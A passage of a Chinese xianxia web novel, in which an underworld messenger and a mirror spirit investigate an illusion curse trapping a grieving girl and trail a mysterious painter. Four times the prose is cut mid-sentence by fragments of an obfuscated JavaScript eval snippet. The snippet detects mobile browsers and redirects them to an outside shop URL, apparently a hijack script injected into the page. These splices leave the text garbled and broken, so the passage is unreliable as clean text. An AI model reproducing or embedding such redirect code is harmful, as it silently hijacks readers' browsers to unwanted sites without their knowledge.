“天命?”原昭冷笑一声,“你一个小小镜灵,学天上那些老古董作甚?莫不是未来也想和那劳什子衡镜仙官一样,给天命卖命?” “姑娘慎言。” 她嗤笑道:“慎什么言,我往日里说的也不少。” 原昭虽然是无常,依据命簿的要求办事,可她并不认同其中的理念。 一句话,一道判词,便匡定了一个凡人的一生。凡人从落地开始,就只能沿着命簿记载的路度过一生,期间或是扑腾,或是勤勉,都跳离不出命簿规定的范围。 因此,每次看见有凡人机关算尽,精明一生,最后在黄泉路上因生前几个失误嚎啕大哭时,她都会觉得有些……滑稽。 哭又如何,闹又如何,万般皆是命,半点不由人。 苏问衡轻叹道:“姑娘果真要如此吗?” 原昭不理他,用刀尖慢慢划过他棱骨分明的下颌,兴致勃勃道:“我倒是从未见过如此俊俏的镜灵,不如你随我回酆都如何?” 他恍若未闻,低声道:“既然如此,那就恕在下得罪了。” 那月白袖袍中忽然垂下无数银白细丝,飞快地缠上了原昭的腰间。原昭瞳孔一缩,仰身向后,手中刀刃劈向银丝。她用足了力度,然而那银丝只蜻蜓点水般晃了一瞬,再度向她卷来。 她足尖轻点后撤,双手各自幻出五把刀刃,朝着银丝直直砍落。银丝却仿佛张开了一张巨型大口,刀刃甫一触碰到银丝,瞬间便消失不见。 “姑娘的魂力确实不弱,只可惜,你是砍不断这丝线的。” 原昭抬眼望去,发现长鞭已经不见踪影,那条黑布握在青年手中,化冰一般缓缓消融。 他淡淡地看向原昭,袖风一扬,那银丝就卷着她的腰飞到树上。原昭还未反应过来,腰间骤然一松,跌坐在丝线织成的网里。 “你!” 苏问衡抬手拂落肩上的碎花,淡笑道:“姑娘不必着急,待幻境破碎后,它会护着你平安离开。” 说罢,他朝原昭一拱手,转身就要离去。 原昭气极,将手中刀刃向丝网狠狠掷去,然而丝网上只是亮了一瞬,浮现出错落不一的纹路,很快又恢复如初。 难道她真要在这里干坐着? 忽然间,原本要离去的青年脚步猛地一滞。 一点红意在素色袖袍中亮起,两相一衬,显得极为刺眼。 原昭一愣,下意识地低下头,发现自己腕上的红绳不知为何殷红如血,此刻正绷紧了,遥遥拉起树下的另一人。 她想到了什么,唇角渐渐牵起一抹笑,慢慢靠后坐下去,好整以暇地看着树下那个微微僵住的背影。 苏问衡轻咳一声,转过身来,目光掠过原昭,正欲开口,原昭抢先一步堵住了他的话:“欸——可别,你这个网挺舒服的,我在这里待着挺好。” “……” 他剑眉轻挑,望着闲闲靠在网中的女子,沉声静气道:“那姑娘想要什么呢?” “唔……”原昭单手撑头,一副苦思冥想的样子。 就当他眉心微微蹙起时,原昭眸中一闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854739|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,炯炯盯着树下的人道:“我和你做个交易吧,怎么样?” “交易?” “丝线银白如月,其上可见错落的人影。若我没猜错的话,这应当是灵枢天丝吧?”她略显苍白的手屈起来,弹了弹丝网。 苏问衡没有回答,树影稀疏打落在他棱角分明的侧脸,那半边脸没入阴影中,不甚清晰。 “你不说话,我就当你默认了。”她自顾自地往下说,“这种东西宝贵得很,据说只在西北罗伊山上出现,是世间少有的、能直接作用于魂魄的珍宝。但有一点,它没有任何攻击性。 “方才你我交手,若你还有其他能用的,就不会只拿出它……换句话说,你进到这幻境里,只带了一件对何九安无害的东西。” 她忽的坐起身子,狐狸般地眯起眼,盯着树下的人影。 “你应当是想帮她,对吧?可你又口口声声不能违背天命,说明你不想让她提前苏醒。让我猜猜,你是不是想等到幻境破裂的一刻,用这灵枢天丝做些什么?” 苏问衡默了片刻,忽然笑起来。 “姑娘果然聪慧,在下自愧不如。不错,我确实无意害她。” 他总算抬头看向她,目光沉静似水。 “我会用灵枢天丝创造出另一个梦境,在她清醒的一瞬间将她包裹进去,足以支撑到姑娘带着她回到酆都。这样一来,她既不会因圆满咒堕成怨鬼,也免受现世的苦楚。” “那你怎知,她愿意就此睡去?” “姑娘又怎知,苏醒好过沉眠?” 好一个巧舌如簧。 她问的是愿不愿意,他回的是好与不好。原昭敛住了笑意,目光锐利如剑,青年也毫不退让,一双丹凤眼淡漠地望着她,肃穆凛冽。 片刻,原昭叹了口气,将身子往后一靠。 “新旧梦境交替之际,她的魂魄会受到极大的震动,你是护不住她的。” 虽然不知为何这家伙有灵枢天丝这等奇宝,在方才交手时她已经察觉到了,此人魂力平平,根本撑不起新旧幻境交替时的损耗。 “如果我没猜错,你应当是想耗尽自身的力量,来维持这个幻境的稳定吧?你是她的谁呢?旧交?随从?”她饶有兴趣地问。 苏问衡只当没听见她话里的揶揄之意:“我此前与她素不相识,不过是暂居这铜镜中罢了。” 原昭长长地“哦”了一声,也不再细究:“总之,我可以帮忙护住何九安的魂魄,但是你得答应我,她苏醒后想去还是想留,你我都不得插手,这样也算公平,如何?” 如此一来,若她的计划不成功,青年的天罗丝也算是一重保障,护住何九安的魂魄不至于受损。 苏问衡垂眸沉思,原昭倒也不急,勾起银白细丝放在手中把玩,稀奇地看着上面交错的人影。 半响,他轻叹了口气,颔首道:“可以。” 原昭眉开眼笑:“那你赶紧把我放下来。” 他右手轻拨,那银白丝网倏地消散。原昭猛地往下一坠,咬牙切齿地暗骂一声,正要驱动术法,腰间却又是一紧。 银丝飞落,裹住她的腰身,将她徐徐放到地上。 苏问衡收了银丝,又朝她揖了一礼,声音沉静:“此前多有冒犯,失礼了,还未问过姑娘如何称呼?” 唔,又是到了自我介绍环节。 鬼差游走于阴阳两界,真名不可随意告知他人。在人间时,原昭就常常随意换掉名字中的一字。 此时当然也不例外,她几下拍落身上的枯叶,抿了抿唇,眉眼弯弯,似有碎金光闪过。 “我呀,我叫赵昭。” 5. 一线牵 何家祖上也曾有过几分薄业,然而从何九安曾祖父开始,几代皆是醉心诗书,不事俗务的清高读书人。到了何九安父亲这一代,便只剩下一间旧宅了。 幻境中的何家旧宅与现实中的无异。青石板铺就的小路蜿蜒在庭院中,西南角围着短篱笆,错落有致地种着桂花和秋菊,迎着秋风开得正好。 群芳摇曳间,雅香扑鼻。 一个圆脸婢女匆匆从门外跑进来,挟着风撞进东厢房里。 “姑娘!蒋娘子派人来传话,说明日生辰宴的画已经画好,待会就送来!” 话音落下,一连串叮铃哐啷的声音响起,唬得圆脸婢女连声道:“唉哟,我的好姑娘,慢一点!” 一身鹅黄色衣裙的少女手忙脚乱地扶住妆台上的瓶瓶罐罐,吐了吐舌头,欢喜道:“蒋姐姐人真好!阿福,快,快备茶!” “是!” “还有还有,”少女想起了什么,连忙唤住了她:“将我蒸好的茶香糕拿出来,我要让蒋姐姐尝尝!" “好!”被唤作阿福的婢女一咧嘴,扭身出了屋。 少女再度弯下腰,铜镜中映出了她略显稚嫩的面庞。眉眼细长,浅淡如烟,两颊却还有几分红润,笑起来更是平添了几分活泼秀丽,不似外头见到时那般苍白。 赫然便是何九安了。 她对着铜镜扶了扶发侧的簪花,这才提起裙摆,欢欢喜喜地小跑出去。 房梁上,原昭望着何九安的背影渐远,手肘捅了捅身旁的人,悄声道:“喂,你往那边一点。” 那头悄无声息,只听得衣袍掠过房梁时发出的轻微窸窣声响,萦绕在鼻尖的兰草清香终于远去了一些,原昭绷紧的肩头一松,长出了口气。 她垂眸看了一眼衣袍中露出的一截红绳,暗暗蹙起了眉。 作为鬼差,她自是不习惯与他人这般近距离接触。无奈这条红绳不知出了什么毛病,自方才亮起就不再熄灭,和这破旧的房梁一衬,简直就像枯冬里灼灼绽开的红梅一般。 两人对视一眼,皆是心照不宣地靠近半步,借衣袍将它堪堪掩住。 可这样一来,彼此之间便挨得极近。原昭能感受到身后青年胸膛微微的起伏,还有偶尔落在她耳上的温凉气息,像羽毛一般,挠得人心里痒痒。 以及那股清冽的、素净的兰草幽香。 一只镜灵,干嘛学那些凡人佩香呢? 她抬手在鼻尖拂了几下,像是要将那清香拂去,转头看见青年垂眸望着下方,不知在想些什么,心中一动,问道:“苏问衡,你怎么看?” 苏问衡沉吟片刻,缓缓道:“这个何九安,似乎比实际上的要小一些。” 原昭点点头:“不错,我进来前见到的何九安应当是十九岁左右,但现下这个,看起来似乎只有十四五岁。” “那位婢女还提到了生辰宴。圆满咒依人的心愿而生,会在幻境中构造出中咒人的心愿。既然何九安梦见了生辰宴,那就说明,这是她最在意的事。” 原昭闻言倒是一怔:“若我没记错的话,何九安的爹娘便是在她十五岁生辰前一天去世的。” 苏问衡看了她一眼,不疾不徐道:“如此便说得通了,她始终对自己爹娘的去世耿耿于怀,以致于当年那场没能举办起来的生辰宴成了她的心魔。而圆满咒予以她的许诺,就是一个平安、圆满的生辰。” “所以,这生辰宴圆满举办之时,就是咒语破裂之时。而我们要做的,就是赶在这个所谓的生辰宴之前,将她唤醒。” 话虽如此,可是不是……太过顺利了一些? 原昭心中划过一丝异样的感受,但一时半会却也说不出哪里怪异,只好暂时按捺不提,全神贯注地盯着门外。 不多时,何九安携着一个白衣女子从门外款款走来。 房门吱呀一声打开,暖阳洋洋洒洒地铺落。何九安率先踏进门,侧身让道:“蒋姐姐,快请进!” 被唤作“蒋姐姐”的女子素衣白裙,头戴幂篱,面罩黑纱。原昭从上往下望去,只能见到一双浅浅细眼,像是水墨画上的淡笔,带着若有若无的愁意。 她怀抱着几幅卷轴,朝何九安略一屈膝,踏入门内。何九安迫不及待地将房门掩上,将她引到书案旁坐下。 “蒋姐姐,可是都画好了?” 蒋娘子颔首,将怀中卷轴递上:“按照姑娘的意思,这‘长平八景’都画好了。”她的声音如破铜锣般低沉嘶哑,丝毫不像寻常女子的声音。 长平八景?原昭心头一跳,猛地想起那扇铜镜背后刻着的四个小字。 何九安双手接过卷轴,小心翼翼地展开,眼睛骤然一亮,惊喜道:“蒋姐姐,你画得也太好了吧!” 苍翠的墨色时浓时淡,勾勒出远处连绵起伏的山脉,近处山谷清幽,溪水潺潺,一男一女相拥立在溪水旁,像是在眺望着远处的山峰。 她将余下的几幅也一一打开,原昭瞧去,这些画上虽然景色不同,但风格却是极其一致。有的画着林木环伺的凉亭、有的画着落英缤纷的桃林、有的仅有寥寥几笔,却精妙地勾勒出山峦之间缭绕的云雾。 唯一不变的,就是画上都有并肩而立的一对男女。 “根据姑娘的要求,每幅画都画了长平山景,还有……”蒋娘子顿了顿,轻声道:“夫人和老爷。” “不错不错,便是这样。”何九安细眉弯弯,将卷轴小心放下。想了想,又有些担忧道:“蒋姐姐,你说,爹爹和阿娘会喜欢吗?” 黑纱轻颤,帷帽下的女子垂下眼眸,幽幽道:“凡是姑娘送的,夫人和老爷都喜欢。” 何九安似乎有瞬间晃神,但很快,她解颜一笑,带着孩童的稚气道:“既然蒋姐姐都这么说了,那我就放心了。” 原昭心里的怪异感愈发强烈,余光瞥见窗外一个圆乎乎的身影端着点心和茶水匆匆向这边赶来,心中一动,扭过头,悄声道:“我去去就来。” 话音落下,门外已然响起哒哒的脚步声。原昭趁底下两人不注意,身形散作一缕青烟,从门缝中溜了出去。 名叫“阿福”的婢女猛然瞪大了眼睛,原昭冲她粲然一笑,手起手落,“阿福”悄无声息地倒了下去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854740|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她稳稳接住落下的托盘,抬手正要叩门,忽然想起了什么,低头看了地上的“阿福”一眼,稍稍踌躇,还是蹲下身,探向她的脖颈。 片刻后,她的眉心微蹙起来。 和她料想的一样,这个“阿福”身上没有半分活魂的气息。 活人的魂魄无论强弱,都能如同清澈池水般活力充盈,但她在这个婢女身上感受到的,却只有枯井一般的沉寂。 换而言之,她根本不是真正的魂魄,而是由幻境幻化而成的、为了让何九安完全沉浸其中而准备的“配角”。 原昭还欲继续探查,“阿福”的身形忽然变得透明。最初是脚、手、然后是脖子、脸庞……最终连发丝都化作一缕黑烟,消失得一干二净。 屋内忽然传来何九安纳闷的声音:“这个阿福,怎么这么久还没来?蒋姐姐,你稍坐片刻,我去看看。” 原昭回过神来,忙捏着嗓子道:“姑娘,我来了!” 于是摇身一变,变出阿福圆嘟嘟的样子,站起身来。 正好赶上房门大开,何九安探出一张小脸,歪头担忧道:“阿福,可是出了什么事?” 原昭眨了眨眼睛,扯出一个笑容,慢慢道:“昨夜吃错东西,我刚刚解手去了。” 何九安嗔了她一眼,向房中抬了抬下巴,悄声说:“蒋姐姐也在哦,你可不能给我丢人。” “晓得啦姑娘。” 她学着阿福的样子,瓮声瓮气地回答,跟在何九安身后走进房中。蒋娘子朝她温和地点点头,她连忙咧嘴一笑,将手中托盘放在案几上,低头退到一旁。 “蒋姐姐,这是我近来新制成的茶香糕,快尝尝看。” 何九安拈起一块糕点,递到蒋娘子面前。 蒋娘子迟疑片刻,还是伸手接了过来。素手撩起帷帽和面纱,将茶香糕送到嘴边,小小咬了一口。 轻纱晃动间,隐隐露出苍白瘦削的下颌,似乎是久病之人才有的肤色。原昭偷眼瞧去,心下暗自纳闷。 奇怪,怎么好像在哪里见过这位蒋娘子。 蒋娘子吃过一口,便将茶香糕放到一旁的瓷碟中,柔声赞道:“姑娘这手艺愈发精湛了,吃起来,竟和外头的无甚分别。” 何九安脸颊微红,看起来极为高兴,嘴上却还是谦逊道:“姐姐莫要取笑我了,哪真比得上呢?这不,入秋以后,我几次想尝试桂花糕,都没成功。” 蒋娘子摇了摇头,轻声细语道:“这桂花糕最是难做,需采摘新鲜桂花,去掉青色花蒂,再洒上些甘草水……” ……咦? 原昭脑海中好似有什么一闪而过,但还来不及捕捉,那念头便消失不见。 “阿福,阿福?” 原昭猝不及防,猛地抬起头来,便看见何九安关切地看着自己。 “蒋姐姐说的,你可是记下了?” 原昭连忙道:“是,阿福记下了。” “那便好,回头咱们也试试。”何九安兴致勃勃。 蒋娘子含笑点头,一双细长眼眸在原昭身上转了几转,又轻轻移去。 6. 假作真 茶过三盏,暮色渐近,蒋娘子起身告辞。 “今日天色已晚,我先回去了,姑娘早些歇息,明日怕是还有得忙。” “欸?蒋姐姐,不留下来用过晚膳吗?” 蒋娘子摇摇头,垂下眼帘,俯身从案几上的画卷里抽出一幅。 “方才发现这幅画上竟有一处谬笔,姑娘可否容我带回去修改,明日清晨我再送来。” 她目中带有歉意,用词也甚是委婉,可语气中却带着不容置疑的肯定。何九安懵懵懂懂地站起来,目光从画卷上移到她脸上,点头道:“自然是可以,辛苦姐姐了。” “姑娘大病初愈,又连日操劳,这等小事交给我便好。”蒋娘子柔声宽慰道。 大病初愈? 原昭敏锐地捉住了她的关键话语。 意思是,此时此刻站在这里的何九安,是一个身体康健、无病无痛的何九安? 这也是所谓“圆满”之一吗? 面前二人已经起身,原昭跟在何九安身后,将蒋娘子送到门外。跨过大门时,蒋娘子抬手制住了她们,温声道:“外头风大,姑娘快回去吧。” “嗯,我听姐姐的。”何九安乖巧地点头。 蒋娘子向她一屈膝,转身走下台阶。就在她跨下最后一层台阶时,何九安忽然唤道:“等一下!” “嗯?”蒋娘子停下脚步,偏过头。 何九安叩在门框上的手微微收拢,紧张道:“明日,明日姐姐可会来我的生辰宴?” 蒋娘子讶然回望,随即浅浅一笑,眉目如新月般微弯。 “当然。” 她站在台阶下,沉静地望着何九安。暮色犹如晕了水的灯笼纸,缓缓将她包裹,而她就是中间那一簇曳动的白芯。 “这是姑娘的生辰宴,我自然会来参与。” “那、那就好。”何九安松了口气。 “姑娘若无其他事,我就先告辞了。” “好,姐姐路上小心。”何九安干巴巴地应道。 蒋娘子轻轻颔首,转身走进了暮色中。 原昭静静看着两人告别,余光瞥见一片衣角从屋内闪了出来,不动声色地往何九安身旁靠了一步,挡住她的视线。 “姑娘,这里风大,咱们回去吧。” “走吧。” 何九安心事重重地点了点头,转身向屋里走去。原昭特意落后她一个身位,悄悄侧头,便见那片白色衣角一闪而过,追着蒋娘子消失的方向远去。 她放下心来,紧走两步,跟上何九安。 两人一前一后地进了屋,何九安一屁股在书案前坐下,怔怔看了书案上散落的画卷片刻,忽然拎起笔,低头开始画着什么。 原昭替她添了茶:“姑娘是要在画上添些什么吗?” 何九安笔一顿,抬手抓了两下脑袋:“蒋姐姐画得那么好,我哪能在她画上添些什么呀?我、我就是随便画画。” 原昭一笑,歪头道:“可我看着,姑娘画的也很好看呀,来日定也能画得和蒋娘子一样。” “真的吗?”何九安猛地一抬头,惊喜道,“你当真觉得,以后我也能和蒋姐姐画得一样好。” “当然。”原昭眨了眨眼,毫不心虚地说。 当然不是,饶是她这种门外汉也能看得出来,蒋娘子的画工远在何九安之上。两人的画风确有几分相似,但蒋娘子的画明显要更加老练和成熟一些。 只是不知为何,看着何九安满是期待的眼神,她忽然就不想将真话说出口了。 这般想着,她拿起墨石,替她细细地研起墨来,试探性地问道:“姑娘可是很喜欢蒋娘子?” “姐姐?”何九安目不转睛地看着画,笔下不停:“当然很喜欢呀。” “那,蒋娘子是个什么样的人呢?” “唔,”何九安一怔,认真想了片刻,搁下笔,扬头望着她:“姐姐就是姐姐呀。” 原昭没料到她会这么说,一时竟有些愣住。 “姐姐是个很好的人,她很温柔,什么都会,会画画、会做糕点、还会照顾人。总之,我很喜欢姐姐。” 她眸子亮亮地朝原昭笑了笑,继续埋下头画画。 原昭犹豫再三,还是张口问道:“那姑娘记得,蒋娘子是什么时候出现的吗?” 若能引导何九安想起与蒋娘子结交中的古怪,或许就能唤醒她。 何九安笔下一顿,目光忽然迷茫:“对哦,蒋姐姐是什么时候来的来着?” 原昭的心轻轻跳了起来,耐心地等了片刻,何九安却再没有回应。 她的头向下低垂,笔下的墨迹渐渐在纸上洇开了一大片。原昭觉出不对,伸手推了推何九安的肩膀。 “姑娘?姑娘?” 毫无预兆地,何九安突然倒向了另一边,原昭一惊,连忙伸出手将她拉住,另一只手搭在她的腕上。 随后,她的眉心深深地蹙了起来。 这个何九安体内,竟然也和先前的“阿福”一样,没有半丝活魂的气息。 难道她已经死了? 不,圆满咒的幻境深植于中咒人的魂魄中,是依托中咒人而生的。换句话说,只要幻境还在,中咒人就还没有死。 那么,就只剩下一种可能了。 原昭咽了下口水,缓缓地放开手,何九安的身子失了依托,软软地滑了下去。 她脑袋歪在圈椅外,腰却被卡住,手里还握着笔,被挤出一个滑稽的形状。双目瞪大,嘴唇微张,好像正要说什么。 书案上的蜡烛跳动在她未阖上的瞳孔中,像两簇幽幽的鬼火。 原昭闭了闭眼,一个从未想过的荒谬念头在她脑海中慢慢浮现。 面前这个何九安,根本就不是真的。 她和方才的“阿福”一样,都不过是被幻境创造出来的“配角”,是这幻境的“傀儡”。 可是,若是如此—— 为何这幻境中又会多出一个假的何九安?真正的何九安又会在哪里?或者说,她会被带去哪里?莫非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854741|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这幻境中,除了她和苏问衡,还有其他的外来者? 原昭想到了什么,嚯地站起身来,抬脚向屋外走去。 天色已经沉沉,何家无人掌灯,院中漆黑一片,白日里的葱茏树影此刻都化成森森鬼怪。原昭匆匆穿过院子,推开大门,心中却又是一沉。 原来门外不知何时聚起了大雾,将何家团团环住,所有的宅邸、街道都沉浸在茫茫之中。原昭手中幻出赤金鞭,当空一甩,浓雾中骤然出现一道青金色的裂痕,随即又渐渐合拢。她冷笑一声,提鞭走进雾气中。 那浓雾似乎极其忌惮她手中的赤金鞭,始终与她保持着一个拳头的距离。她走到哪里,前面的雾气就会淡一些。然而待她走过又立刻合上,原昭如此绕了几圈,发现自己又回到了原地。 这样下去,恐怕半天也走不出去。 原昭沉吟片刻,手一翻,收起赤金鞭,盘腿在原地坐下。 多年前,酆都流传过一门秘法,据说能与他人的魂魄发生共鸣,感应彼此的方位,甚至能共享彼此的感官和知觉。然而这种法术听起来太过离谱,流传过一阵之后便渐渐无人提起。 只有原昭等寥寥几人知道,这并非虚言。 何九安此时还在幻境中,若能与她的魂魄产生共鸣,就能知晓她的方位在哪里。 只是魂魄间的共鸣应当经由双方同意,师傅当年千叮咛万嘱咐,若非万不得已,不可私自与他人共鸣。何九安如今生命垂危,魂魄应当十分虚弱,一旦原昭发起共鸣,她将毫无拒绝的能力。 然而眼下情况危急,也顾不上那么多了。 她闭上眼,将神识慢慢外放出去。 幻境中的场景在她的识海中逐一显现,目光所及之处皆沉寂萧然,她仿佛沉入了深海之中,从中寻找一个虚弱的魂魄,无异于大海捞针。 雾气翻滚起来,试图将她绊住。原昭微蹙起眉头,正要将它们拨开,忽然见到雾气深处隐约出现一点白光。 那白光忽明忽暗,摇摇欲坠,在雾气的包裹下,好像随时都会熄灭一般,看起来确实是凡人的魂魄无异。原昭悄然屏住气息,慢慢靠近。 她原本想着,何九安此刻性命垂危,应当无力维持魂魄的温度才是。可靠近了才发现,这白光非但不凉,反而还如烛火般暖意融融。 它似乎察觉到了原昭的靠近,迟疑了一下,向后一缩。 咦?怎么还有反应? 难道说,何九安的魂魄还未完全衰弱? 原昭在不远处停下,踌躇着是否要继续前进。白光却仿佛下定了决心,不再迟疑,主动向着她飘了过来。 电火石光之间,原昭忽然意识到了什么,暗叫一声不好,立刻就要将神识撤出来。 可惜为时已晚,那白光已经闯入她的神识范围,没有任何犹豫地,轻轻碰了碰她。 原昭的神识登时一阵晃荡,仿佛在深海中被重重往下一拉,青年沉静又些许犹疑的声音在她的识海中响起。 “……赵昭姑娘?” 7. 忆往事 事已至此。 原昭深吸了一口气:“嗨。” 那头默了半响,苏问衡不确定地问道:“你……可是遇上危险了?” “没有。”原昭连忙否认,解释道:“我是为了找何九安的魂魄,不想与你共鸣上了……抱歉。” 她难得有些歉意。 “无妨。”出乎意料的是,苏问衡似乎并不在意,“你方才说,是为了找何九安的魂魄?是怎么回事?” 原昭简单将事情的来龙去脉说了一遍,苏问衡听完,沉吟道:“如此说来,最大的嫌疑人,确实是这个蒋娘子。” “不错。我原本是想往你们离开的方向去的,但幻境中起了大雾,我一时迷了方向。”她有些懊恼,“说起来,你可是跟上她了?” “嗯。”苏问衡抬头看着面前漆黑一片的小楼,道:“她从出何家后一路西行,进了永兴巷的一家画馆,就再也没有出来过。” “永兴巷。”她默念着这个地名,点头道,“既然如此,你稍等我片刻,我这就过来。” “等等。”苏问衡突然唤住了她。 “嗯?” “我曾听闻酆都秘法能够共享双方的感官,看见对方所看见的东西。若你找不到路了,便唤我一声,我或许能认出来。” 他的声音平静淡然,听不出半分波澜,仿佛共享感官只是一件无足轻重的小事。原昭一愣,有些尴尬道:“目前倒是不用了。” 不知为何,自从他们二人的魂魄产生共鸣后,方才已经黯淡下去的红绳又重新亮了起来,一直朝她的南面延伸而去。原昭猜测,那应当就是苏问衡所在的地方。 她站起身,循着红绳向前走去。沉沉雾气挡住了她的视线,唯有她腕上的一截红绳依旧清晰可见,明亮夺目。 苏问衡那头彻底沉寂下去,她也一言不发。就这样闷声走了一段路,原昭忽然没头没尾地问了一句:“苏问衡,你的魂魄为何如此稀薄?” 她原本以为这人只是魂力平平,没想到魂魄也那么稀薄,甚至与一些凡人无异,也难怪她会认错。 苏问衡倒是说得很坦然:“我不过是只镜灵,并非什么奇灵异兽,魂魄虚弱一些倒也正常。” 她冷哼道:“那你就不怕在这幻境里魂飞魄散了?” 苏问衡似乎轻笑了一声,声音如细羽点过水面,转瞬便消失。 “那赵姑娘呢?据我所知,贸然对凡人动用秘法也并非毫无代价。” 说到这,他似乎有些无奈,“你说你是想要看戏,可凡人生离死别无处不在,似乎并不值得你付出如此高昂的代价。若你愿意采纳我的建议,对天命,对你,对她,都无坏处。 “赵昭姑娘,你,不是第一次见到何九安了吧?” 原昭默了片刻,突然笑起来,尾调微微上扬:“不错,我确实不是第一次见到何九安了。” 那是四年前的一个深秋雨夜,她第一次到人间勾魂。接到命令后,她匆匆赶到何家,推开门,一眼就看见床上那具消瘦得几乎看不出人样的女尸。 以及女尸旁边,枯草一般的女鬼。 女鬼目光茫茫然地,落在面前的少女身上。 少女面色苍白,跪在床边,握住母亲的手拼命揉捏,试图让它温暖起来。可一双死人的手,怎么可能变暖呢? 少女揉了片刻,突然停下,怔怔看着床上与睡着无异的母亲,猛地扑到半旧的棉被上,放声大哭: “阿娘!阿娘啊!” 女鬼颤巍巍地伸出手,落到少女的头上,手指却从那干枯的发丝中穿了过去。 原昭心间突然一疼,连忙将目光转向窗外,便见苍苍暝色间,大片大片的桂花落下,滚到地上,泡入泥浆,孤苦无依地漂泊。 一如何九安的命运。 她自打出生起就体弱多病,夫妇俩为了她操心,到处延医问药,可却怎么都治不好。 十五岁生辰的前一天,有人说邻村来了个神医,医术高明,就是脾气古怪,轻易不肯出山。夫妇俩听说后,连夜赶着马车出发。谁知中途遇上暴雨,山路湿滑,一不小心,连人带马翻到山沟里去了。 父亲当场毙命,母亲被找到时,也已经奄奄一息。 一夜之间天翻地覆,何九安变卖了所有家产给母亲看病。流水似的银子泼出去,源源不断的药材送进来,最后大多数变成药渣,泼在院子的桂花树下。 然而不出两月,母亲还是撒手人寰了。 其实从她的宿命来看,何家夫妇所做的一切都是徒劳。何九安的病是写进命簿里的,无论他们请了多少大夫,吃了多少药,她都会在今日亡故,毫无违背的可能。 “我就是只鬼而已,自然不懂她们凡人的那些心思。”原昭嗤笑一声,“她们哭啊喊啊的,我只觉得烦躁。我唯一能看明白的,就是她们变成鬼之后,身上不同的状态。 “在我进来之前,何九安眉心已经生了怨气,那东西对魂魄重新投胎有害,若是罪大恶极的,直接丢入十八地狱就是了。但何九安不是,在她投胎之前我得负责将她的怨气剥离。 她说得漫不经心:“你都不知道,他们的怨气有多难搞。” 一百多年前,师傅将她从极寒狱中带出来,要她做的第一件事,就是把那些鬼魂身上的怨气剥离干净。 那些怨气看似稀薄,实际却紧紧地缠绕在鬼魂身上。师傅不许她用术法,她只能用徒手插入那些怨气中,一缕一缕地将它们剥离。 那些怨气中蕴含着凡人的迷惘、哀思、痛苦和恨意,在她剥开它们的时候,这些情绪无时无刻不缠绕着她。每剥一分,她的心就绞痛一分。 等到剥离完最后一个凡人的怨气后,她眼前一黑,晕了过去。 再醒来时,自己已经躺在一张寒玉床上了。 寒意源源不断地钻进她的四胲,渐渐压制住了那股绞痛。师傅背对着她,淡淡道:“醒了?” 她勉力支起身子,低声道:“是。” 师傅起身,朝门口走去,曳地的长发比周围的寒玉还要剔透几分:“若是休息好了,便继续吧。” 这些话她当然不会和苏问衡说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854742|191640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她突地止住了话头,转了语调,半警告道:“你要是害我到时候回去挨了骂,领了罚,就别怪我不客气了。” ……还是不肯说么? 苏问衡听着,叹了口气。 不过,这个家伙,似乎没有她表现出来那么恶劣呢。 “也罢,就按照我们一开始的约定来吧。” 苏问衡顿了顿,颇有些意味深长地道:“毕竟,遇见你,也是她的命。” 这话怎么听起来怪怪的? 原昭腹诽一句,加快脚步。不多时就看到一道颀长身影,负手立于浓雾之中,仰头注视着面前几乎与夜幕相融的小楼。她略松了口气,足下轻点,纵到苏问衡身侧站定。 “这就是她最后进去的画馆?” 苏问衡颔首:“若何九安真被掳至此,这画馆中或许还暗藏着结界,以致于你感应不到。” “进去看看就知道了。” 原昭指尖闪起一簇青光,隔空对准纱窗遥遥一划,半片窗户悄无声息地倒了下来,足尖一点,纵身掠了进去。 屋内幽暗,原昭环顾一圈,回头道:“可会夜视?” “自然。” 她点点头,走近屋子中间的那张书案。书案上杂乱堆叠着画卷,笔迹潦草粗犷,似是随意涂鸦之作。北向的松木架上倒是齐齐整整地堆着书,可惜久失打理,重重灰尘掩于其上。想来主人只是将这里当做一个临时的落脚地,并未用心对待。 不对,似乎有哪里奇怪。 